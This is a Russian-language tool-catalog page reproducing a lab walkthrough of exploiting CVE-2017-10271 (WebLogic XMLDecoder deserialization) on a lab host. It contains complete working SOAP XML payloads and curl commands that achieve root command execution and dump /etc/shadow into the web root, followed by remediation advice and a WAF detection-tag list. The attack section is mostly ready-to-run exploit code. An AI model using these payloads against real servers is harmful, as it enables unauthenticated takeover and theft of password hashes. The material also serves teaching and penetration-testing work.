Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-10271 — Пошаговое лабораторное руководство по эксплуатации CVE-2017-10271 (десериализация WebLogic XMLDecoder с удаленным выполнением кода) с ручной сборкой полезной нагрузки, обходом слепого RCE и техниками пост-эксплуатации, включая проверку привилегий и эксфильтрацию данных. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2017-10271
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubdungsocool/cve-2017-10271

CVE-2017-10271

Пошаговое лабораторное руководство по эксплуатации CVE-2017-10271 (десериализация WebLogic XMLDecoder с удаленным выполнением кода) с ручной сборкой полезной нагрузки, обходом слепого RCE и техниками пост-эксплуатации, включая проверку привилегий и эксфильтрацию данных.

Репозиторий
33 месяцев назадЕщё не проверено

LAB 2 - CVE-2017-10271: Отчет о десериализации XMLDecoder в WebLogic

I. Анализ системы

Анализ системных журналов

image.png

  • Обнаруженный сервис: Oracle WebLogic Server (AdminServer, принадлежащий base_domain, работающий в Development Mode).
  • Порт подключения: 7001.
  • Поддерживаемые протоколы: http, t3, iiop, ldap, snmp.
  • Оценка поверхности атаки:
    • Сервис открывает протокол t3 через порт 7001. Эта конфигурация по умолчанию несет высокий риск, если версия WebLogic не исправлена от уязвимостей, связанных с Java-десериализацией через RMI (Remote Method Invocation).
    • Интерфейс веб-администрирования работает по протоколу http на порту 7001, что делает его восприимчивым к сканированию каталогов для поиска чувствительных конечных точек, таких как /console/login/LoginForm.jsp.

После того как мы определили открытые порты цели, мы используем nmap для сканирования порта и выяснения его запущенного сервиса.

image.png

Таким образом, на цели запущен HTTP-сервис с версией Oracle WebLogic Server 10.3.6.0 — хорошо известный корпоративный Java-сервер приложений, известный серией критических CVE (например, десериализация, обход аутентификации). Однако только этой информации недостаточно, чтобы определить, к какой именно уязвимости восприимчива система. Нам необходимо просканировать глубже сопутствующие компоненты веб-сервисов.

Приступим к идентификации её чувствительных конечных точек с помощью инструмента dirsearch. Поскольку WebLogic работает на платформе Java, файлы .jsp и .xml являются наиболее чувствительными целями. Мы сосредоточимся на конечных точках, возвращающих код состояния 200.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

image.png

  • /console/login/LoginForm.jsp: Портал входа в веб-интерфейс консоли администрирования WebLogic. Это важная цель для сценариев перебора учетных данных по умолчанию или уязвимостей обхода аутентификации (например, CVE-2020-14882).
  • /bea_wls_internal/: Каталог внутреннего веб-приложения WebLogic Server по умолчанию. Этот компонент обеспечивает доступ к статическим системным файлам и взаимодействие с ними.
  • /wls-wsat/CoordinatorPortType: Это самое критическое обнаружение. Наличие этого пути с кодом состояния 200 OK подтверждает, что компонент Web Services Atomic Transactions (wls-wsat) включен и готов к приему данных.
  • /uddiexplorer и /uddi/uddilistener: Это компонент UDDI Explorer (Universal Description, Discovery, and Integration), интегрированный по умолчанию в WebLogic Server для управления и регистрации веб-сервисов. Этот компонент чрезвычайно известен уязвимостью SSRF (Server-Side Request Forgery) — CVE-2014-4210. Атакующий может использовать интерфейс поиска публичных реестров UDDI по адресу /uddiexplorer/SearchPublicRegistries.jsp, чтобы заставить сервер WebLogic отправлять произвольные HTTP-запросы во внутреннюю сеть бэкенда.

⇒ Вывод: Сосуществование /wls-wsat (риск RCE через XMLDecoder) и /uddiexplorer (риск SSRF) указывает на то, что поверхность атаки этого сервера WebLogic чрезвычайно широка.

После выявления двух независимых поверхностей атаки, сосуществующих на сервере WebLogic 10.3.6.0, мы анализируем два направления:

  1. Уязвимость SSRF (CVE-2014-4210) на /uddiexplorer:
    • Среднее воздействие: Позволяет отправлять косвенные HTTP-запросы от сервера для сканирования портов в локальной сети или взаимодействия с внутренними сервисами (например, Redis).
    • Ограничения: Не дает прямого контроля на уровне операционной системы (OS Level). Эскалация от SSRF до RCE сильно зависит от того, содержатся ли во внутренней сети другие неправильно настроенные сервисы.
  2. Уязвимость десериализации XMLDecoder (CVE-2017-10271) на /wls-wsat:
    • Воздействие: Критическое. Позволяет произвольное удаленное выполнение кода (RCE) непосредственно на сервере с привилегиями запущенного процесса.

⇒ Решение: В модели кибератаки RCE всегда является конечной целью, поскольку обеспечивает прямой и полный контроль над системой (Full System Compromise). Как только достигнута возможность RCE, эксплуатация SSRF через приложение UDDI становится избыточной. Это связано с тем, что из оболочки RCE мы можем активно выполнять запросы к внутренней сети прямым, гибким и более мощным способом (используя системные команды, такие как curl, wget), не ограничиваясь параметрами интерфейса UDDI.

Поэтому с точки зрения логики приоритизации эксплойтов мы решаем исключить второстепенный путь (SSRF на /uddiexplorer) и полностью сосредоточиться на исследовании: удаленное выполнение кода (RCE) через уязвимость десериализации XMLDecoder на /wls-wsat/CoordinatorPortType.

Анализ механизма уязвимости и тестирование

Корневая уязвимость CVE-2017-10271 возникает из-за того, что класс WorkContextXmlInputAdapter в WebLogic использует объект java.beans.XMLDecoder для разбора данных в теге <work:WorkContext>. По умолчанию этот класс XMLDecoder автоматически создает экземпляр любого Java-класса, определенного в форме XML-тега. Отсюда мы выполняем верификацию на основе пошагового взаимодействия с поведением системы.

Чтобы быстро проверить фактическое активное состояние этого сервлета, отправляем обычный HTTP GET пробный запрос:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

Ответ возвращает HTTP/1.1 200 OK вместе с классом реализации CoordinatorPortTypePortImpl, что подтверждает успешную загрузку сервлета в память JVM.

Верификация обработки данных POST

Поскольку сервлеты веб-сервисов предназначены для обработки данных SOAP XML методом POST, мы выполняем сравнительное тестирование с двумя POST-запросами, чтобы продемонстрировать конвейер обработки данных системы:

1. Стандартный SOAP POST-запрос

Мы отправляем стандартную SOAP XML-оболочку (с полными пространствами имен, но без содержимого для выполнения), чтобы протестировать нормальную способность парсера к разбору.

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

image.png

  • Результат: Система проходит через парсер без ошибок и сообщает об ошибке только на уровне логики бэкенд-сервиса (Cannot find dispatch method).

Анализ:

Сервер имеет исправно работающий XML-читатель на POST-порту, готовый принимать и декодировать всю структуру XML-дерева, отправленную пользователем. Это подтверждает, что конвейер данных от клиента в память WebLogic работает в полном объеме.

2. Некорректный XML POST-запрос

Затем мы намеренно ломаем структуру XML (например, отсутствие пространств имен), чтобы наблюдать механизм обработки исключений парсера.

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

image.png

  • Результат: Возвращает исключение com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".

Анализ:

  1. Каждый символ, каждый XML-тег в теле POST-пакета передается напрямую в низкоуровневый Java-парсер XML внутри JVM (com.ctc.wstx) для разбора.
  2. В системе отсутствуют какие-либо контрольные точки, фильтры или межсетевой экран для веб-приложений (WAF), которые бы фильтровали входные данные. Если бы такой фильтр существовал, пакет был бы заблокирован с самого начала, а не проник бы глубоко на уровень Java-парсера и не вызвал такую системную ошибку.

Заключение

Комбинация практических экспериментальных результатов и анализа системной архитектуры — от сервлета wls-wsat, принимающего необработанные пакеты через POST-порт, отсутствия WAF/Фильтра корректности на уровне парсера, до выброса необработанных ошибок Java XML Reader — подтверждает, что сервер работает с чрезвычайно чувствительной структурой сервиса, которая находится непосредственно в рамках CVE-2017-10271 (десериализация XMLDecoder).

Поскольку механизм разбора XMLDecoder по умолчанию не имеет никаких фильтров контроля классов, прием сервером необработанных POST-данных без санитизации является идеальным входом, позволяющим нам разработать полезные нагрузки, которые напрямую вызывают системные объекты выполнения Java на следующем шаге.

II. ЭКСПЛОЙТ

Мышление при ручном создании полезной нагрузки

Поскольку сервер WebLogic 10.3.6.0 работает в старой среде Java и не применяет строгих фильтров контроля классов для XMLDecoder, атакующий может напрямую внедрять исполняемые Java-объекты.

Стандартным классом для выполнения команд в Java является java.lang.ProcessBuilder. Мы приступаем к отображению этой логики инициализации Java-объекта в формат XML, совместимый с XMLDecoder:

  • Объявление инициализации класса: <void class="java.lang.ProcessBuilder">
  • Определение массива строк параметров, содержащих команду для выполнения: <array class="java.lang.String" length="3">
  • Запуск метода выполнения: <void method="start"/>

Обход слепого RCE

Когда системная команда выполняется через ProcessBuilder, сервер WebLogic запускает команду в фоне на ОС и возвращает только код ошибки HTTP 500 (он не выводит результат команды непосредственно на экран HTTP-ответа). Этот механизм называется сопоставлением веб-приложений — все веб-серверы работают таким образом. Каталог war/ является корневым каталогом документов (Document Root) этого приложения. Любой файл, находящийся в war/, может быть доступен по короткому URL.

⇒ Чтобы обойти слепой RCE, мы должны найти физический путь — поскольку команда id > ... выполняется в операционной системе, она требует реальный путь.

Анализ с использованием белого ящика для поиска каталога /war

Чтобы найти фактический физический путь приложения bea_wls_internal, загружаемого внутри контейнера, мы выполняем системный поисковый запрос непосредственно с хост-машины:

image.png

Результаты

  • /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Исходный архивный файл библиотеки).
  • /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Распакованный активный каталог приложения во временном разделе _WL_internal сервера AdminServer). Углубившись в этот активный каталог, мы находим подкаталог, содержащий статические файлы: /9j4dqk/war/. Это абсолютный корневой каталог веб-приложения (Web Root), в котором атакующий имеет права на запись для записи статических файлов, чтобы отобразить результаты выполнения RCE.

Мышление: Спроектируйте команду для перенаправления вывода id в статический файл rce.txt в указанном выше каталоге: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Создание полезной нагрузки эксплойта для XMLDecoder

Из приведенного выше анализа мы знаем, что класс Java XMLDecoder будет автоматически создавать экземпляр и выполнять любой объект, определенный в форме XML-тегов. Для вызова команд операционной системы в Java стандартным классом является java.lang.ProcessBuilder.

Процесс отображения эквивалентного Java-кода в XML-структуру XMLDecoder:

Эквивалентный Java-код:

root@kitploit:~
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Отображение в теги XML XMLDecoder:

Создайте файл exploit.xml на машине Kali Linux, содержащий полную структуру SOAP:

root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

С машины Kali Linux отправьте XML-файл, содержащий полезную нагрузку эксплойта, на целевую конечную точку:

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

image.png

Проверка результатов RCE

Получите доступ к только что созданному статическому файлу rce.txt в корневом каталоге веб-приложения:

root@kitploit:~
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

image.png

Успешная эксплуатация RCE. Результат команды id подтверждает, что процесс WebLogic работает с привилегиями root.

III. ПОСТЭКСПЛУАТАЦИЯ

Проверка привилегий

Результат выполнения команды id возвращает uid=0(root). Это доказывает, что процесс сервера WebLogic работает непосредственно с наивысшими привилегиями root операционной системы. Атакующий получает полный контроль над системой без необходимости дополнительных шагов по повышению привилегий.

Сбор конфиденциальных данных

Атакующий может легко прочитать конфиденциальные системные файлы, такие как /etc/shadow. Мы создаем файл exploit_shadow.xml и отправляем его через XML-полезную нагрузку, чтобы сервер WebLogic выполнил её автоматически. Это заставляет сервер прочитать файл и направить его в корневой каталог документов (Document root), чтобы к нему можно было получить доступ из внешнего URL.

root@kitploit:~
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Затем отправьте полезную нагрузку и прочитайте файл извне:

root@kitploit:~
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

image.png

Весь список учетных записей системы вместе с хэшами паролей полностью раскрыт.

Обратная оболочка (Reverse Shell)

Поскольку контейнер работает в изолированной внутренней сетевой среде (NAT/Bridge хост-машины Docker), установка обратного соединения (Reverse Shell) напрямую на машину Kali за пределами локальной сети может столкнуться с проблемами маршрутизации. В реальной среде (продакшн) атакующий может полностью настроить обратную оболочку, если сервер имеет исходящее подключение к Интернету.

Однако возможность удаленного выполнения кода (RCE) непосредственно с привилегиями root и возможность интерактивного чтения/записи файлов через корневой каталог веб-приложения достаточны для подтверждения полной компрометации системы.

IV. ОЦЕНКА И РЕКОМЕНДАЦИИ

Оценка риска

Уязвимость десериализации XMLDecoder (CVE-2017-10271) на этой системе WebLogic оценивается на самом критическом уровне риска (Critical):

Рекомендации по устранению

Для полного устранения этой критической уязвимости безопасности администраторам необходимо немедленно выполнить следующие меры:

Срочный приоритет (краткосрочный):

  1. Удалить или отключить компонент wls-wsat: Если система не использует функции Web Services Atomic Transactions (WSAT), удалите папку wls-wsat.war в пути установки WebLogic и перезапустите сервис, чтобы полностью устранить эту поверхность атаки.
  2. Применить исправление безопасности (Patching): Немедленно применить отдельный пакет обновления безопасности Oracle для CVE-2017-10271 или обновить сервер WebLogic до более новой безопасной версии (версия 12c и выше заменила механизм обработки XML на безопасную альтернативу).
  3. Понизить привилегии выполнения процессов: Перенастроить сервис WebLogic для работы под ограниченной учетной записью (например, oracle) и ни в коем случае не запускать процесс с привилегиями root.

Долгосрочный приоритет (многоуровневая защита):

  1. Развернуть межсетевой экран для веб-приложений (WAF): Настроить правила на WAF для обнаружения и блокировки POST-запросов к конечным точкам /wls-wsat/, содержащих характерные XML-теги XMLDecoder, такие как <java>, <object>, <void>, <class>, <method>.
  2. Настроить сегментацию сети: Изолировать контейнер WebLogic, заблокировать ненужный исходящий сетевой трафик (Outbound connections), чтобы минимизировать риск обратных оболочек или загрузки вредоносного кода в контейнер извне.
Скачать инструмент
Компонент JavaСоответствующий XML-тег
Объявление класса ProcessBuilder<void class="java.lang.ProcessBuilder">
Массив параметров String[]<array class="java.lang.String" length="3">
Элементы массива (индекс 0, 1, 2)<void index="0"><string>...</string></void>
Вызов метода .start()<void method="start"/>
КритерийОценкаДетали
Оценка CVSS9.8 (Critical)Чрезвычайно высокий показатель воздействия.
АутентификацияНе требуетсяДля эксплуатации не требуется учетная запись или какая-либо аутентификация.
СложностьОчень низкаяТребуется только отправка одного HTTP POST-запроса с вредоносной полезной нагрузкой SOAP XML.
Полученные привилегииrootПолучен полный контроль над контейнером с наивысшими системными привилегиями.
Боковое перемещениеВысокоеСкомпрометированный контейнер можно использовать как точку опоры для атаки на другие контейнеры внутренней сети и физический хост-сервер.